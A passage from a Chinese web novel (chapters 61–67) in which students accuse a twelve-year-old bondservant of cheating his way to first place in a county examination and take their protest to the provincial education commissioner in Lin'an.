少爷见状,心里松了口气。 只要等到县尊来救援,自己和璘哥儿就能脱困。 他一转头,却看到卢璘正盯着人群,一副若有所思的模样。 少爷还以为璘哥儿被眼前的阵仗吓傻了。 脚步挪到卢璘耳边,压低了声音,快速说道。 “璘哥儿,别怕。” “我已经让人去府里和县衙搬救兵了。” 可步步逼近的学子们根本没给两人喘息的机会。 声浪一浪高过一浪。 “彻查!彻查!” “柳家必须给个说法!” “朗朗乾坤,公然舞弊,还我等读书人一个公道。” 叫嚷声中,学子们步步紧逼,包围圈不断收缩。 眼看就要有人伸手上前推搡。 少爷猛地一咬牙,张开双臂,像一头护崽的公鸡,死死地挡在了卢璘面前。 “都别激动!” “大家都是读书人,有什么话不能好好说!” “我告诉你们,舞弊之事,绝无可能!县尊大人已经得知了消息,正在赶来的路上,可以让县尊亲口向大家证明!” 人群中,再次响起质疑声。 “还说什么不是舞弊!” “那柳家少爷是什么货色,清河县谁人不知?” “一个斗鸡走狗,不学无术的纨绔子弟!” “他家的书童,能有什么大学问,还能拿下案首?” “这简直是滑天下之大稽!” 这话一出,立刻有人高声附和: “说得对!等县尊来也没用!” “柳家在朝中可是有阁老在的,县尊大人难道还敢得罪柳阁老不成?” “到头来,还不是官官相护,把我们这些寒门学子当猴耍!” “官官相护!” “官官相护!” 少爷搬出县尊,非但没能压住场面,反而激起了更大的民愤。 看着眼前一张张扭曲的脸,听着耳边震天的声浪,少爷急得满头大汗。 这些人,已经彻底被煽动得失去了理智。 就在这时,一直沉默的卢璘,终于有了动作。 他轻轻拨开挡在身前的少爷,迎着无数道要吃人的目光,缓缓抬起了头。 “你们是质疑我不配当这个案首?” “还是仗着法不责众的心思,想趁机浑水摸鱼?” 人群的声浪,因为卢璘这突如其来的质问,突然停滞。 躲在人群中的余程友见状,嘴角勾起一抹冷笑。 到底是个毛都没长齐的小子。 三言两语一吓唬,就这么沉不住气,自己跳出来了。 他清了清嗓子,躲在人群背后,仍旧只闻声,不见人。 “我们不求别的,只求还天下读书人一个公道!” “你不过一介书童,还是奴籍!” “连第一场考试都差点撑不住,若不是舞弊,你作何解释?” “你若有真才实学,为何之前在清河县,却籍籍无名,闻所未闻!” 奴籍! 两个字一出,学子们的反应更加激烈了。 原本还抱着一丝怀疑的学子,脸上的表情瞬间变得狰狞。 他们可以接受自己技不如人,败给某个世家子弟,或是某个苦读多年的寒门天才。 可他们无论如何都不能接受,自己竟被一个身份卑贱,连自由身都没有的家奴,死死地踩在脚下! 这是对他们十年寒窗苦读的践踏。 更是对他们身为读书人身份的莫大羞辱。 第62章 真金不怕火炼 就在这千钧一发之际。 “当!” 一声清脆的鸣锣声,从不远处的街道口传来。 紧接着是衙役的呵斥声: “肃静!” “县尊驾到,闲人回避!” 众人下意识地循声望去。 只见街口处,一队身穿皂衣,手持水火棍的衙役,正大步流星地分开人群,气势汹汹地走了过来。 为首之人身着一身青色官袍,头戴乌纱,面沉如水,一副不怒自威的做派。 正是清河县县尊,吴井元。 吴井元的目光扫过全场,最后落在了被围在中央的卢璘身上。 看到卢璘安然无恙,心里暗自松了口气。 还好,紧赶慢赶,总算是没来迟。 几百年才出一个撼动礼器,文钟自鸣的存在,若是在自己的地界上出了半点差池,他吴井元万死难辞其咎。 松了一口气的吴井元大步流星地走到人群前方,声音冰冷。 “聚众闹事,围攻县试案首,你们是想造反吗?” 县尊的威严,让不少头脑发热的学子瞬间清醒过来,下意识地后退了一步。 吴井元没有理会他们,径直穿过人群,走到了卢璘的面前。 刚刚脸上那股官威瞬间消散,态度立马变得和善起来。 “卢小友,你没事吧?” “本官来迟一步,让你受惊了。” “我派人先送你回柳府,这里让本官来处理。” 一想到卢璘那部传天下作品中,那句“修身齐家治国平天下”。 简直是读书人的指路明灯。 别说案首,哪怕状元都不是不可能。 所以,吴井元和卢璘打交道的态度,下意识地变得很恭敬。 可吴井元觉得没什么,周围的学子不肯干了。 堂堂一县之尊,竟然对一个十二岁的书童,用上了近乎平辈论交的语气。 这一下,彻底点燃了人群中最后一丝理智。 “看到了吗!我就说有黑幕!” “官官相护!他们果然是一伙的!” “一个奴籍的书童,竟能让县尊大人如此对待,这背后得有多大的勾当!” 原本被压下去的声浪,以更加猛烈的方式,轰然爆发。 学子们眼中的怀疑,彻底变成了认定的事实。 吴井元脸色一变,他这才意识到自己情急之下,失了分寸。 他猛地转过身,对着人群厉声呵斥。 “放肆!” “科举乃国之大典,岂容尔等在此信口雌黄,污蔑主考!” 可此刻的呵斥,哪里压得住激愤的群情。 人群中,有人高声反驳。 “吴大人,我们不是信口雌黄!” “我们只想要一个公道!” “是不是舞弊,是不是内定,您一句话说了不算!” 躲在人群里的余程友,见时机成熟,再次高声煽动。 “对!要想证明清白,很简单!” “把他的考卷拿出来!” “当着我们所有清河学子的面,公之于众!是骡子是马,一看不就知道了!” “公之于众!” “公之于众!” 这个提议,瞬间得到了所有人的响应。 一时间,山呼海啸般的声浪,几乎要将县衙的屋顶都给掀翻。 吴井元的脸色,瞬间变得无比难看,额角甚至渗出了一层细密的冷汗。 公布考卷? 怎么公布? 那可是传天下级别的圣策宏文。 文章现世的当天,文道便自行运转,遮蔽了天机,抹去了除他、教谕以及崔皓之外,所有无关人等的记忆。 文章蕴含着天地至理,又岂是这些连文位都没有的蒙生童生,有资格观摩的? 别说他们,就算是寻常的翰林学士,若是强行观之,心神都会被其中浩瀚的文道真意所冲垮,轻则才气溃散,重则当场痴傻。 此事,根本无法解释。 拿出来? 怎么拿? 看着县尊大人脸上那副为难又迟疑的神情,学子们更加坚定了心中的猜测。 “他心虚了!” “他拿不出来!” “舞弊!这就是赤裸裸的舞弊!” 余程友见状,趁热打铁,振臂高呼。 “诸位同窗!” “清河县官官相护,已经烂到了根子里!我们在这里,是讨不到公道的!” “我们去府城!” “去临安府衙门前鸣鼓申冤!” “我就不信,这朗朗乾坤,还没有一个说理的地方了!” “去府城!” “去府城申冤!” 群情激奋,彻底失控。 学子们一路高喊,一路朝城门的方向走去。 ................. 不远处的小楼上,二楼的窗户半开着。 落魄书生斜倚在窗边,拎着酒葫芦,有一搭没一搭地往嘴里灌着,目光饶有兴致地看着楼下那场闹剧。 他咂了咂嘴,朝着身后的沈夫子,懒洋洋地抬了抬下巴。 “沈春芳,那便是你收的好弟子?” “就这么杵在原地,跟个愣头青似的,连句囫囵话都说不出来。” “一点应变之力都没有,倒是跟你这木头如出一辙啊!” 沈夫子眉头紧锁,倒不是因为师兄的调侃。 他满是疑惑的目光,放在县令吴井元身上。 吴井元此人,沈夫子有所耳闻,虽算不上什么能臣干吏,却也绝非庸碌之辈。 眼下这等局面,平息骚乱的法子,再简单不过。 只需将卢璘的考卷公之于众,一切谣言便不攻自破。 可为何迟迟不肯拿出考卷,反而任由事态发酵,激化矛盾? 这不合常理。 至于舞弊一说,沈夫子更是连半个字都不信。 自己这个弟子的品性,他再清楚不过。 更何况,以卢璘的学问,拿下区区一个县试案首,本就是情理之中的事,又何须多此一举。 落魄书生见沈夫子不搭理自己,自顾自地又灌了一口酒,嘴角的讥讽之色更浓。 “怎么,不说话?” “看来你对你这个便宜弟子,倒是信心十足。” “就这么信他能凭真本事,拿下案首?” 沈夫子收回了目光,转过身缓缓开口: “教无可教。” 落魄书生闻言微微一愣,眼中有些意外。 自己这个师弟,虽然嘴上总是骂他迂腐,骂他不成器,可他心里清楚得很。 沈春芳当年也是在科举的千军万马中,杀出来的一届榜眼。 官至礼部尚书,入阁拜相。 这等人物,眼界何其之高。 如今,竟会对一个十二岁的少年,用上教无可教这四个字。 这评价,未免也太高了。 看来师弟对自己新收的这个弟子,确实自信。 “那个新来的学政魏长青,我见过。” “可不是个好糊弄的人,眼睛里,揉不进半点沙子。” “这事要是真闹到临安府去,他可不会给你这个前任阁老留半分情面。” 沈夫子闻言,摇了摇头。 目光重新投向窗外,看着那个在千夫所指下,依旧身姿挺拔的弟子,眼神里没有半分担忧。 “真金不怕火炼。” 第63章 临安府 吴井元看着那浩浩荡荡的人群,只觉得头皮发麻,两眼发黑。 完了,事情彻底闹大了。 清河县学子聚众冲击府衙,这等事情一旦坐实,自己脑袋上这顶乌纱帽,怕是保不住了。 上司只会觉得他连自己治下的学子都安抚不了,连一场小小的县试都办得一塌糊涂,是个彻头彻尾的庸官。 吴井元急得如同热锅上的蚂蚁,转头一看,身旁的卢璘一脸平静,脑袋里突然想到了什么。 他像是抓住了救命稻草一般,快步走到卢璘身边。 “卢小友,这……这可如何是好?” “你看……能否请沈夫子出面,平息此事?” 县尊想法很简单,沈春芳是前任阁老,虽因与当朝首辅宴居斗争失败而致仕,但在天下读书人心中,依旧享有崇高的声望。 若是他肯出面,定能将这场风波平息下去。 卢璘闻言,却轻轻摇了摇头。 “县尊大人,此事不必劳烦我师长。” 卢璘很清楚,新任学政魏长青,正是当今首辅宴居得意门生。 让沈夫子出面,无疑是让他再去受宴居一派的折辱。 更何况,这点小场面,还远不至于让他退缩。 “我师早已不问朝堂事,若因此事再受宴居一派的折辱,非弟子所愿。” 吴井元闻言越发焦急,却看到卢璘淡淡一笑: “大人不必忧心。” “这件事很小,不过是些落榜学子心中不忿,被人煽动罢了。” “于您而言,非但无过,说不定……反倒有功。” 有功? 吴井元愣住了。 学子闹事,都快闹到府城去了,这怎么还能变成功绩? 一旁的教谕闻言恍然大悟,连忙开口解释: “对对对,有功啊,天大的功绩啊,对咱们清河县都是泼天政绩。” “大人试想,待到了临安府,学子们将事情闹到新任学政面前。” “学政大人查明真相,知晓我清河县,能出传天下之宏文,发前人所未发之言。” “这是何等样的祥瑞?何等样的政绩?” “到那时,学政大人只会赞叹大人治下有方,教化得力,才能培养出卢小友这等人才,又岂会怪罪大人弹压不力?” 教谕的一番话,在吴井元脑中轰然炸响。 对啊! 我怎么没想到! 这件事的根源,不在于舞弊,而在于卢璘的文章太过惊世骇俗,根本无法公之于众,这才引起了误会。 等到了临安府,学政魏长青是何等人物,自然能明辨是非。 到那时,自己治下出了一个能写出传天下文章的麒麟儿,这功劳,这政绩,简直是天上掉下来的! 想通了这一层,吴井元只觉得浑身舒泰,看卢璘的眼神,越发和蔼可亲。 他猛地一拍大腿,之前的颓丧之气一扫而空,中气十足地转身,对着身后的衙役们大手一挥。 “来人!” “立刻去备好马车,再备些干粮清水!” “派出所有衙役,护送学子们去府城!” “告诉他们,本官支持他们求一个公道,但路上定要注意安全,切不可再生事端!” “务必要让他们心服口服!” 衙役们面面相觑,有些摸不着头脑,但还是立刻躬身应诺。 不止是衙役们,那些正准备往城门走的学子们也愣住了。 说好的官官相护呢? 怎么县尊大人不仅不拦着,反而还要出钱出车,欢送他们去告状? 这剧本不对啊! 吴井元不再理会众人惊愕的目光,转身对着卢璘,深深一揖,态度恭敬到了极点。 “那接下来,就拜托小友了。” ........... 清河县通往临安府的官道上,一列列马车正颠簸前行。 车厢内,落榜学子们三五成群地挤在一起。 尽管已经很努力维持身子的平衡,但还是被剧烈晃动难以安坐。 时不时有学子脑袋重重撞在车壁上,疼得龇牙咧嘴。 这哪里是去申冤,这分明是去奔丧。 这还是县尊担心大家走夜路,时间上来不及,自费征用了镖局的马车。 可这些车显然是用来拉货的,减震几乎为零。 一路疾驰,只求速度,不顾死活。 不过总比他们一路步行几百里要来得好。 县尊为何这么好心? 难不成这次县试真不存在舞弊? 要不然县尊怎么会这般有底气,还自费让他们去上访。 这个念头同时出现在不少学子的脑袋里。 还没等他们细想,又是一阵剧烈晃动,把思绪打断。 ............ 相比之下,队伍最前方那辆属于县尊自己的马车,则完全是另一番景象。 车厢宽敞,内饰精致。 更重要的是,它行驶得异常平稳。 一层无形的才气,将来自路面的颠簸尽数化解。 县尊吴井元听着窗外,时不时传来学子们的哀嚎声,忍不住发笑。 一群童生都算不上的人,还学人上访。 他们当中若有人掌握了行军战诗词,区区几百里路,不过是片刻功夫,又何须受这等颠簸之苦。 放下窗帘,吴井元转头看向车厢另一侧的卢璘。 只见对方盘膝而坐,双目微阖,没有半点担心的样子。 吴井元见状满意地点了点头。 …… 临近傍晚,一座雄伟的城池轮廓,终于出现在地平线上。 临安府到了。 上百米高的城墙,静静矗立在暮色之中,带着一种俯瞰众生的威严。 疲惫不堪的学子们陆陆续续从马车上下来。 不少人都是第一次来临安府,一下车就被眼前的雄城给震撼到了,满眼好奇的打量着眼前这座壮观的江南道首府。 “这就是我们江南道首府,果然是一座雄城。” “那当然了,临安府可是有上千年的历史了,任王朝更换,浪花淘尽,临安府依旧屹立不倒。” “别闲聊了,别忘了我们这次的目的,等院试的时候再看也不迟....” 学子们刚准备进城,城门楼上传来一声厉喝。 “关闭城门!” 伴随着沉重的机括声,厚重的城门缓缓合拢,将内外隔绝。 一名身披甲胄,腰挎长刀的千户,出现在城墙之上,目光如电,扫视着城下的学子们。 “来者何人?” 学子们哪见过这等阵仗,不少人脸色发白,双腿打颤。 人群中的余程友见状,尽管自己也有点打颤,但还是清楚此时必须有人站出来。 强压下心中的恐惧,他上前一步,走出人群,用尽全身力气高喊。 “我等乃是清河县学子,因县试舞弊,特来临安府,向学政大人鸣冤!” 城墙上的千户眉头一挑,眼中闪过疑惑。 学子申冤? 还是从清河县集体跑来的? 这得是多大的科举舞弊案啊? 早就听说清河县那个地方风气不对,果然如此。 打量了这群人片刻,人数虽多,却个个手无寸铁,不像是乱民。 第64章 666勾栏听曲不叫我 千户沉吟片刻,对身旁的副手低声吩咐。 “派人快马通知都指挥使大人,还有布政使大人。” “就说清河县学子,因科举之事,集体来府城申冤。” 副手领命而去。 千户这才对着城下挥了挥手。 “开门,放他们进来。” “派一队人跟着,别让他们在城中闹事。” 巨大的城门再次开启,学子们长舒一口气,鱼贯而入。 他们没有在城中多做停留,径直朝着城北方向走去。 大夏朝以北为尊。 无论是京城还是各府州县,圣院的位置,永远都在城池的最北方。 那里是文脉汇聚之地,也是读书人心中最神圣的殿堂。 学子们此行的目标很明确。 他们要找的,是这江南道内,真正能一言九鼎的人物。 临安府的权力架构,与前世略有不同,文官的地位被提到了一个前所未有的高度。 此地名义上的最高长官,是布政使,掌管一省民政、财政。 另有按察使,负责刑狱、监察。 都指挥使,统领一省卫所,掌管军务。 但这三位,在品级上,都要比主管一省文教、科举的学政,低上半级。 尤其是在江南这种文风鼎盛之地,学政的权柄更是大得惊人。 都指挥使司虽名义上统领军队,却处处受到学政的制约,连军饷的发放,都要看学政的脸色。 类似于前世的北宋,以文御武,但文官的权利比北宋更大。 因为,读书人是切切实实掌握着超凡伟力。 ................. 第一次来临安府的卢璘也有些好奇,他走在队伍的最后方,神色平静地打量着这座繁华的府城。 街道两旁,商铺林立,即便是傍晚,仍旧是灯火通明,行人如织,叫卖声、车马声不绝于耳,一派盛世景象。 果然是江南道首府。 相比于卢璘的好奇,少爷却没半分兴趣。 他不是第一次来临安府。 这会的少爷还惦记着自己下注的那一千五百两。 “哎,开盘口那小子,趁乱跑了。” “我那一千五百两,怕是打了水漂了。” 卢璘闻言,倒是不怎么在意。 “跑不了。” “只要是清河县的人,还怕找不到?” “我告诉你,他应该和县教谕有点关系,到时候你顺着这个关系去查....” 说这话的时候,卢璘压低了声音,毕竟县尊和教谕就在两人前头,自己还怂恿少爷去要钱,有些不妥。 可少爷在路上和卢璘说了,这一千五百两有自己的一半。 少爷闻言,眼前一亮,还得是璘哥儿啊,连对方什么路数都知道了。 他笑着凑到卢璘身边,压低了声音。 “那行,等这事了了,咱们手上有钱了,先不急着回去。” “就在这临安府好好耍耍,你好不容易来一次。” “到时候,本少爷带你去见见世面。” 卢璘闻言,有些疑惑地打量着少爷。 见见世面? 见什么世面? 少爷该不会是背着自己,偷偷见识过什么花花世界了吧? 什么时候的事? 好家伙,666勾栏听曲不带我? …… 就在学子们涌入城中,朝着圣院方向而去时。 城门处,两道身影不紧不慢地走了进来。 正是沈夫子与他师兄。 沈夫子望着眼前车水马龙,人声鼎沸的景象,忍不住感慨。 “临安府从废墟中重建,不过百年光景,竟又是一片繁华。” 师兄摇了摇头,眼中闪过一丝无人察觉的复杂神色,却没有开口。 沈夫子并未注意到师兄的异样,他心里还惦记着璘哥儿的事。 “师兄,你对这位新任学政魏长青,了解多少?” “当真如传言那般,是靠着阿谀奉承,才得了宴居的青睐,被下放到此地?” 沈夫子问这话主要是想确认,魏长青对于神童的看法。 清河县之前包装了许多神童事迹的事,他从柳老爷口中略知一二。 可这些神童都没有下文了。 以至于沈夫子对魏长青的判断有些拿不准。 落魄书生闻言冷笑一声:“你就是个榆木脑袋,这临安府学政能靠溜须拍马就能担任的?” “这什么地方?黎氏的龙兴之地,会放一个酒囊饭袋来?” 一省学政,权柄滔天,尤其是在大夏。 大夏共有三京二十七府,临安府的地位,仅在三京之下,于其余府城之中,稳居前列。 这里,更是大夏皇室的龙兴之地。 当年太祖皇帝,便是在此地与前朝划江而治,僵持数年,最终才奠定了大夏的万里江山。 魏长青能以新科状元的身份,直接被任命为临安府学政。 光靠宴居的关系,怎么可能做到。 “不要小看了魏长青。” “此人,跟宴居那老匹夫,可不一定是一条心。” 沈夫子眼中闪过一丝意外。 师兄却笑而不语,默默的灌了口酒,懒洋洋地调侃: “你一个致仕的老头子,操那么多心做什么。” “难不成,还指望着起复?” 沈夫子被他一句话噎住,半天说不出话来,默默叹了口气。 我为璘哥儿打探消息,不行吗? 柳拱那老匹夫看着就不是宴居的对手,八成要不了多久就得致仕回乡。 到时候,给柳家,给老匹夫出这口恶气的,说不定还得看我这弟子。 四舍五入,不就等于我亲手扳倒了宴居? 想到这里,沈夫子竟忍不住乐了起来。 师兄见他一个人站在原地傻乐,眼神古怪,还以为师弟犯了癔症。 “行了,咱们就在此分道扬镳吧。” “接下来的事,没什么好看的。” “我好不容易来一趟临安府,得自己找点乐子去。” 沈夫子闻言皱起了眉头。 “师兄,你还没放下啊?” “当年的花魁,如今怕是早已年老色衰,你又何必执着,还不如随我去圣院看看。” 师兄闻言,又是一声冷笑。 “你懂个屁。” “没有花魁能永远十八,但永远有十八岁的花魁。” “你这木头,懂什么叫乐趣?” “圣院那地方,一群老古董,有什么好看的,我想去,随时都能去。” 沈夫子一脸无奈,只能看着师兄的身影,晃晃悠悠地汇入人流,消失在街角。 第65章 敲响登闻鼓 临安府圣院,坐落于城北。 青瓦红墙,飞檐斗拱,门前立着一面两人高的巨鼓。 鼓架由整块巨木雕琢而成,鼓身不知是何种兽皮所制,历经风雨,呈现出一种深沉的暗红色。 这便是登闻鼓。 大夏太祖定下的规矩,读书人若有天大的冤屈,或有不平之事,皆可鸣此鼓。 这是太祖皇帝给予天下士子的特权,也是一种责任。 为的就是不绝读书人言路,使天下清明。 而此刻,许久未曾被敲响的登闻鼓外,迎来了一众清河学子。 上百名清河学子熙熙攘攘地站在圣院外,望着不远处的登闻鼓,却无人敢上前一步。 跟过来凑热闹是一回事,真要敲响登闻鼓,他们心里也没底。 余程友混在人群之中,目光在众人脸上飞快扫过,最后定格在一名身着华服的学子身上。 他悄然凑上前去。 “孙兄,你我之中,以你学问最佳,品性最是端方,此次之事,理应由你来领头。” 那名孙姓学子闻言,脸上露出一丝犹豫。 带头上访,鸣鼓申冤,这可不是小事,一步走错,便是万劫不复。 余程友看出了他的顾虑,压低了声音,言辞恳切。 “孙兄,我等读书人,所求为何?不就是一身风骨吗?” “此等为民请命,为天下学子讨还公道之事,最能彰显我辈读书人的节操。” “你想想,不畏强权,仗义执言,此事若是传扬出去,该是何等佳话?我听闻学政魏大人最是欣赏这等有风骨的士子。” 余程友表面激动,心中却冷笑。 之所以推举此人,不仅因为对方学问在众人之中确属顶尖,已经是甲榜上有名。 卢璘这个案首被打下去,他确实有可能竞争案首,这是利。 此刻又以读书人的风骨为由,便是名。 有名有利,余程友相信对方大概率被说动。 更重要的是,在来临安府的路上,他早已打听清楚。 孙行之与临安府的布政使袁大人,沾着些远亲。 有这层关系在,天塌下来,也有高个子顶着。 孙行之被余程友一番话说得心头火热,但仍旧装出一副犹豫的样子。 他当然清楚余程友打的什么算盘,无非是想找个人来顶在最前面。 可他也有自己的考量。 其一,清河县尊吴井元面对质疑时那为难的神情,太过可疑,舞弊的可能性极大。 其二,他比这些普通学子知道得更多。 当朝柳阁老与首辅宴居乃是政敌,而学政魏长青,正是首辅大人一手提拔的得意门生。 最关键的一点,卢璘才十二岁。 而魏学政虽然是首辅门生,但骨子里却是最传统的读书人,平生最是反对弄虚作假,尤其厌恶地方上动辄包装出来的所谓神童。 一个十二岁的案首,一个柳阁老的亲信,撞到厌恶神童的宴居门生手上。 简直是撞到了枪口上。 此事,值得一试。 就在孙行之准备再三请辞,再顺水推舟答应之时。 又一个学子忽然拉着一个人,挤到了人群前方。 “大家放心!这次县试,定然是舞弊!” “你们可知这是谁?” 被他拉出来的人,正是卢璘的大伯,此刻大伯一脸慌张,想要挣脱。 那学子死死拽着他不放,高声喊道: “诸位同僚,可知此人是谁?此人便是那舞弊案首卢璘的亲大伯!对于卢璘的底细,他最清楚不过了!” 大伯一听舞弊两字,又被上百道目光齐刷刷地盯着,只觉得头皮发麻,双腿发软,生怕被牵连进去。 急忙开口撇清关系: “诸位同窗,还请听我一眼,我是卢璘大伯没错,可卢璘打小就卖到柳府去了,跟我确实没什么关系!” “除了卢璘学问启蒙是我的影响,这次疑是舞弊和我半点关系都没有。” “这次的事,与我无关,我……我这次都没下场考试!” 大伯心里憋屈得快要吐血了,真就不该来凑这个热闹,如今被当众认出是卢璘的亲戚,简直是跳进黄河也洗不清了。 余程友闻言眼中精光一闪,立刻追问: “这么说,你敢确定,他就是舞弊了?” 大伯也藏了个心眼,话不敢说死,刚才都比较谨慎用了疑是二字。 “此事内情,我半点不知,不过确实存在诸多疑点...” 大伯话音刚落,旁边立刻有认识他的清河学子高声解释道。 “诸位有所不知,此人我认识,乃是出了名的老童生,考了几十年连院试都没过,他能教出十二岁的案首?” “简直是天大的笑话!” “而且就他自己都觉得是舞弊,此事再无疑虑。” 此言一出,众学子心中最后一丝疑虑也没了。 这是彻底安心了。 孙行之也清楚火候到了,他深吸一口气,不再犹豫,排开众人,大步流星地走到了那面巨大的登闻鼓前。 双手握住了那根沉重的鼓槌。 上百道目光,齐刷刷地汇聚在他的身上。 孙行之高高举起鼓槌,用尽全身力气,猛地砸下。 咚! 一声沉闷悠远的鼓声,轰然响起。 ......... 圣院内 魏长青看着放下了手中的密报,眉头紧锁。 这是前几日把佛门之事汇报上去后得到的密报,来自于内阁。 事情远比自己想象的要严重得多。 这才两天的时间,就已经从清河一县之地,蔓延到了临安府。 长此以往,难不成会波及整个江南道? 这可是能动摇大夏的文道根基大事。 可朝堂上的又是怎么回复的,四个字:静观其变。 魏长青无奈摇头,心里默默叹气。 佛门卷土重来,其势汹汹,可朝堂之上却只顾得党同伐异,倾轧不休。 连一个行之有效的应对之策都拿不出。 还是说读书人高高在上久了,骨子里瞧不上佛门。 不管是哪种,都透着一股腐朽的气息。 看似烈火烹油,鲜花着锦,实则早已是暗流涌动。 就连这远离京城的临安府,也并非一块清净之地。 魏长青只觉得一阵心累。 正准备更衣休息,耳边突然传来咚的一声鼓响。 “登闻鼓响?又有何事?”魏长青下意识的皱眉。 “福伯。” 门外,老管家福伯快步走了进来,躬身行礼。 “老爷。” “何人鸣鼓,所为何事。” “回老爷,是清河县的一众学子,联名上访,状告……状告此次县试,存在舞弊。” 第66章 魏长青的质问 清河县。 听到这三个字,魏长青的脸色瞬间又沉了几分。 他对清河县一直就没有好感。 惯会弄虚作假,风气败坏。 自己才刚上任,那边便削尖了脑袋投其所好,递上来一大堆所谓的神童名册。 殊不知自己平生最厌恶的,便是这等虚浮的歪风邪气。 更别提前几日那撼动文道的佛门妖人,就是藏匿在清河县境内。 两桩事搅在一起,让魏长青对清河县的观感,已是恶劣到了极点。 唯一能让他稍感慰藉的,便是那日去清河县亲眼所见的百年异象。 县试现场,崔皓一篇文章引动了礼器共鸣。 总算让他觉得,这清河县文教并非烂到了骨子里。 福伯见自家老爷的脸色一点点变得难看,愈发小心: “老爷,此事……似乎还与柳府有些干系。” “据那些学子所言,此次清河县试的案首,乃是柳府的一名书童。” “年方十二。” “众学子心中不服,聚众质疑,可……可县令吴井元,却迟迟拿不出那名书童的考卷以证清白。” “这才激起了民愤,闹到了府衙,敲响了这登闻鼓。” 魏长青闻言,脸色铁青,双眼欲喷火。 “怎么敢的?吴井元他怎么敢的?” “怎敢如此大胆,视我大夏科举如儿戏。” “连撼动礼器的文章都不能当案首?” “吴井元就这么想攀上柳阁老的高枝吗??”压抑的声音中难掩魏长青怒火。 立马就想通了其中的关节,县令吴井元想抱柳阁老的大腿,才有这么一遭。 魏长青深吸一口气,挥了挥手: “你先去前堂应付着,我换身官服,即刻就到。” “是,老爷。” 福伯躬身退下。 “来人。” 福伯前脚刚走,魏长青想了想,又朝门外唤了一声。 “把此次清河县所有考生的履历,给本官拿来。” 很快,一个下人便捧着一摞厚厚的卷宗,快步走了进来。 魏长青径直从中抽出了那份属于案首的履历。 姓名:卢璘。 籍贯:清河县柳府。 身份:书童。 年岁:十二。 魏长青盯着那履历,心里那点疑虑彻底消散。 十二岁的案首。 连崔皓都给比下去了。 好好好。 又是一个神童。 清河县真是死性不改。 吴井元,我看他这个县令是当到头了。 不知道自己当天亲自去了县试现场吧。 魏长青心中冷笑,将手中的卷宗重重摔在桌案上。 看来今日,若不狠狠地杀一杀这股歪风。 他们便永远不知道,何为敬畏。 魏长青站起身,整理了一下身上的官袍,迈步向门外走去。 .............. 一县学子,集体鸣鼓申冤。 此事,已数十年未见。 圣院门前宽阔的石阶下,黑压压地站满了人。 除了最开始那上百名清河学子,四面八方闻讯赶来的百姓,已将此地围得水泄不通。 就在这时,一阵急促的马蹄声由远及近,人群一阵骚动,下意识地让开了一条通路。 数名身着锦袍的官员,在亲卫的簇拥下翻身下马,步履匆匆地赶了过来。 “是布政使袁大人!” 人群中,有人认出了为首的中年官员,失声惊呼。 紧随其后的,是另一位身着武将官服,面容冷峻的男子。 “都指挥使,连都指挥使大人也来了!” 还没等学子们从震惊中回过神来,又有一顶官轿在不远处停下,轿帘掀开,走出一个神情阴鸷,眼神锐利的中年官员。 “那是……提刑按察使大人,他怎么也惊动了。” 江南道三位最高品阶的主官齐聚于此。 一县学子鸣鼓申冤,竟引得三司会审般的阵仗。 事情,已经彻底超出了所有人的预料。 几位主官显然已经从下属口中得知了事情原委。 清河县试,舞弊。 十二岁的案首。 背后似乎还牵扯柳府。 每一个词,都足以在江南道官场掀起一场地震。 几位主官交换着眼神,却都默契地没有开口,将目光投向了那扇紧闭的圣院大门。 他们在等,等江南道学政,魏长青。 吱呀。 厚重的朱漆大门缓缓向内打开。 一道身着青色官袍的身影,出现在众人视野中。 魏长青面沉如水,甫一出现,现场为之一静。 所有人的目光,都聚焦在他的身上。 魏长青的视线扫过全场,最终定格在人群中一个方向。 “清河县令吴井元,何在?” 兴师问罪。 这四个字,瞬间浮现在所有学子的心头。 人群中,短暂的寂静之后,学子们脸色同时浮现出压抑不住的喜色。 魏大人果然是站在他们这边的。 看来这舞弊案是板上钉钉了。 余程友隐藏在人群中,激动地微微颤抖。 成了! 自己这次牵头组织,在所有清河学子面前挣足了脸面,能力尽显。 待到县试结果作废,重考一次,凭自己的学问,未必不能榜上有名。 名利双收。 想到这里,他忍不住看向人群中的卢璘,眼中满是快意。 大伯同样听出了魏大人语气中的不善,脸色顿时难看到了极点。 心里已经把卢璘来来回回骂了千百遍。 这个扫把星,干什么不好,非得舞弊,自己真是倒了八辈子霉,和他是亲戚关系。 不行,待会自己必须撇清关系,绝不能被他连累。 人群中余程友和大伯几乎同时看向卢璘。 只见卢璘依旧站在原地,脸上瞧不出一点波动。 余程友心中冷笑,装模作样,这小子不会是吓傻了吧。 毕竟才这个年纪,哪见过这等阵仗,待会压力一大,恐怕自己都会把舞弊的事情和盘托出。 大伯心里升起一丝不忍,但很快便被求生的欲望压下。 璘哥儿,别怪大伯心狠。 弃车保帅,也是无奈之举。 咱们卢家,终究还是得靠我。 二弟家的卢记下水生意不错,回头得想个法子,让他们多拿些钱出来,自己科举的路,可不能断。 人群中,少爷也是第一次见这个阵仗,心里有些打鼓。 “璘哥儿……” “你……你确定没有舞弊吧?” 卢璘闻言忍不住翻了个白眼,没好气地瞪了少爷一眼。 少爷一见璘哥儿这个态度,心里莫名的安稳了许多,深吸口气,没之前那般慌乱了。 他转头望向不远处,县太爷吴井元正整理官服,准备回应学政大人。 走出人群之前,县太爷回头看了一眼卢璘。 想到文章中“修身齐家治国平天下”那九字真言,吴井元深吸一口气,从人群中走出,对着魏长青躬身行礼。 “下官吴井元,拜见学政大人。” 魏长青看都未看他一眼,声音愈发冰冷。 “本官上任以来,清河县前后呈报了十二起神童事迹?” “三岁能文,五岁能诗,七岁便可尽通经义,如此种种,不足叙之....” “吴井元,你清河县难不成是文曲星下凡之地?动不动就有神童。” 顿了顿,魏长青冷笑一声: “现在又给本官搞出来一个十二岁的案首。” “你吴井元,真当我魏长青是瞎子不成?” “把这次所谓的神童案首,给本官拉出来,让大家伙都瞧瞧!” “我倒要瞧瞧,是什么样的神童,能比崔家嫡子还要厉害,能当得了这个案首!” 第67章 还有人证? “崔家嫡子?哪个崔家?” “哪个崔家?临安府还有第二个崔家不成?” “自然是五姓七望,天下士族之首的千年崔氏!” 人群中爆发出猛烈的议论声。 五姓七望,那是凌驾于寻常世家之上的存在,是传承千年的庞然大物,其门下子弟,无一不是人中龙凤。 连这样的人物,都没能在一个小小的清河县试中拔得头筹。 那这舞弊案,还有什么可疑之处? 简直是板上钉钉。 人群前方,布政使袁大人与都指挥使的目光同时落在提察使刘大人身上。 现场没有人,比这位刘大人更清楚崔家的分量。 刘大人正是清河崔氏的女婿。 当年的刘大人也是科举一甲进士,惊才绝艳,最终也只能娶得崔家一位庶女。 